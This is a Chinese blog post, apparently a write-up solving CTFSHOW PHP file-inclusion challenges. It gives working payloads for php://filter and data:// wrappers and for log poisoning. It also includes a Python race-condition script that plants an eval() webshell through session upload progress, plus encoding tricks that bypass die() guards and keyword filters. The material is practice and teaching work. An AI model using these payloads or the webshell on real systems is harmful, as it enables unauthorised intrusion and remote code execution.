March 2, 2023

CTFSHOW-文件包含

—————————–起—————–

Web78(filter读文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

无感情直接payload:?file=php://filter/convert.base64-encode/resource=flag.php

Web79(data加密执行命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这题用data伪协议执行命令,无内鬼直接payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

Web80(包含日志)

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这道题不能用data也不能用filter伪协议,这道题要用包含日志文件

日志文件存一般存放在/var/log/nginx/access.log

所以这道题的payload如下:
image.png
这里输入指令ls发现有fl0g.php文件,所以我们直接读取即可
得出答案

Web81(同上)

payload同上

Web82(条件竞争)

这边ban掉了.,已经不能用上面任何一种方法了,php里面我们能控制的无后缀文件只有唯一一个,那就是seesion文件,然后session文件的名字我们是可以控制的,如果我们传入PHPSESSID=aaa,那么session文件就是session_aaa,然后还要介绍一下

PHP_SESSION_UPLOAD_PROGRESS:是用来检测文件上传进度的,post一个名称为这个的参数,这个参数会写入session文件中

方法一

首先利用一个小脚本去给这个靶场上传一个文件,然后进行抓包,

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://6e62b0ec-d001-4b09-a568-d105c92e3da6.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包:

可以看到已经有PHP_SESSION_UPLOAD_PROGRESS的值,我们把他的值改为我们要执行的代码,如

再加入一个COOKIE:PHPSESSID=flag

然后我们再抓一个get类型的包,就是在靶场get传入一个file=1:

然后把file改成file=/tmp/sess_flag,然后POST和GET同时进行爆破,这边我选了10线程

ps:这边爆破就是随便找个没用的内容,然后往里面爆破字典达到多次跑代码的效果

结果:

诺,可以看到已经出来答案了,fl0g.php和index.php就是当前目录的文件

分析一下

我们来看看回显这一段代码:

1
2
3
upload_progress_fl0g.php
index.php
|a:5:{s:10:"start_time";i:1662324411;s:14:"content_length";i:455;s:15:"bytes_processed";i:455;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1662324411;s:15:"bytes_processed";i:455;}}}

看到没,这边就是序列化后的内容,和我们上面说的一样,会给$_SESSION数组带来一个由session.upload_progress.prefix+session.upload_progress.name组成的键名

这边为什么session.upload_progress.name不是system(‘ls’)呢,这是因为system(‘ls’)被执行了,所以它的回显替代了它

结果

用同样的方法,我们把system(‘ls’)改为system(tac fl0g.php),读取flag文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Content-Length: 592

upload_progress_$flag="ctfshow{672ea89e-e1b9-40ea-84ff-81babe9d7346}";

*/

# @link: https://ctfer.com
# @email: [email protected]
# @Last Modified time: 2020-09-16 11:25:00
# @Last Modified by: h1xa
# @Date: 2020-09-16 11:24:37
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
|a:5:{s:10:"start_time";i:1662325033;s:14:"content_length";i:462;s:15:"bytes_processed";i:462;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1662325033;s:15:"bytes_processe

还是完全符合上述规则的!

方法二:

这边我们原理还是一样的,只不过是用python脚本去跑一下了,都有注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import io
import threading
url='http://6e62b0ec-d001-4b09-a568-d105c92e3da6.challenge.ctf.show/' #引入url
sessionid='ctfshow' #PHPSESSID的值
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
}
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
while True:
response=requests.post(url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' #将这段代码写入session文件中
},
cookies={
'PHPSESSID':sessionid #同上,PHPSESSID的值
},
files={
'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval
})
response2=session.get(url+'1.php') #获得回显
if response2.status_code==200:
print('++++++perfect+++++')
else:
print(response2.status_code)
if __name__=='__main__':
evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。

出现perfect值的时候就说明已经将内容写入了1.php,这时候直接访问1.php,进行远程rce,这边rce的时候,py脚本一定要保持运行,进行条件竞争:

得到结果

浅分析

这里利用的思路是在session文件中写入

1
<?php eval($_POST[1]);?>

然后再POST传递参数1:=file_put_contents(‘/var/www/html/1.php’,’’);

<?php eval($_POST[2]);?>写入1.php中

最后访问1.php去进行远程RCE,密码就是2

这就是整体的思路

Web83(条件竞争)

和上一题一样,跑脚本,等perfect

Web84(条件竞争)

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

你删库任你删库,时间差就是为所欲为

一样跑,但是线程要拉到10

Web85(条件竞争)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);

你告诉我你判断要不要时间,要不要时间?时间差!跑!

龙哥主打的就是时间差

线程数依旧是10稳定发挥

Web86(条件竞争)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

同样是多线程爆破

你虽然设置了include的路径,但是我多个线程的时候,总有一个会因为时间差溜进去

Web87(file_put_contents和死亡代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这里就出现了死亡代码<?php die();?>一旦执行,程序结束,所以我们有什么办法可以避免执行呢?

解法一

首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节,如:

利用这一特性我们可以将题目做出来

简单来讲,Base64就是用下列总计64个字符:

  • A-Z
  • a-z
  • 0-9
  • /

其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的

?file=php://filter/convert.base64-decode/resource=s1mple.php

假如我们的file就是这个伪协议的话,注意这里是decode,我们会把文件里面的内容进行base64解码,因为死亡代码中只有phpdie会被识别出来,只有六个字节,这时候我们再content最前面添加2个字节就可以销毁死亡代码

由于浏览器会帮我们进行一次解码,所以这里我们要进行两次URL加密

这里的url编码是要所有字符都进行编码,这里推荐一个网址:http://web.chacuo.net/charseturlencode(选择里面的复杂模式)

1
2
3
4
5
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30
#这里就是相当于php://filter/convert.base64-decode/resource=cmd.php
#同时传入content
content=aaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
#PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+等价于<?php eval($_POST[1]);?>

PS:这边不能单单的添加两个a,这时候会出现乱码,由于phpdie是6个字节,当我们添加2个字节aa时:

可以看到我们的尖括号没了,这时候代码不会被运行,这是一个bug吧,类似,当我们再凑四个字节也就是phpdieaaaaa时:
我们的尖括号就回来了然后死亡代码销毁,程序得以RCE运行,密码是1,最后只需要一步步的去读取flag就可以了

解法二

使用rot13过滤器:

payload:?file=php://filter/write=string.rot13/resource=1.php

content=

传入后1.php的内容如下:

1
<?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?>

前面的不会被识别,而我们的eval被识别,RCE就绪

Web88(BASE64规则)

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

简简单单的几行代码,就一个pregmatch和一个include,用屁股想都知道是用伪协议,首先php被ban了,filter的就别想了

只可能是data的伪协议,我们采用base64编码,但是这里注意,base64编码出来的结果结尾不能是+或者=号,因为被过滤了

至于解决方法,由于base64编码是三个字节转成四个字节,=只是个补充符号罢了,去掉不会影响我们的指令运行,所以只要结尾不是+号的就可以

image.png

image.png

编码后是=号结尾,所以直接去掉等号传参
image.png

answer就出来了

接下来:

image.png

老样子去除等号:

image.png

答案就出来了,RESPECT,RESPECT

Web116(MISC+LFI)

进入页面给了一段视频给我们,先下载

image.png

题目提示是misc+LFI,我们把视频拖到010editor观察一下:
我们直接查看文件尾部,发现了一个PNG的文件尾:AE 42 60 82
image.png

所以盲猜这里有一个png图片,搜索png的文件头:89 50 4E 47
image.png

果真有,我们新建一个16进制的文件(图片),然后把数据复制进去,保存png格式,打开发现源代码:
image.png

提示我们传入file,这里就显得十分降智了
直接payload:?file=flag.php就猜出来了
输入payload后看不到flag,禁止了我们访问源代码,我们就view-source:
image.png

Web117

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

与上一题的源码差不多,ban的东西也一样,就是不ban filter,这不是在给我指路吗
和文章file_pun_contents和死亡代码讲的内容是一样的
ban掉了base64编码,rot13编码,UTF编码,string
剩下的还有convert.iconv.中的usc-2和usc-4

payload如下:
image.png

image.png

1
2
3
(get)?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

(post)contents=?<hp+pe@av(l_$OPTSs[m1lp]e;)>?

————————-结———————-

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW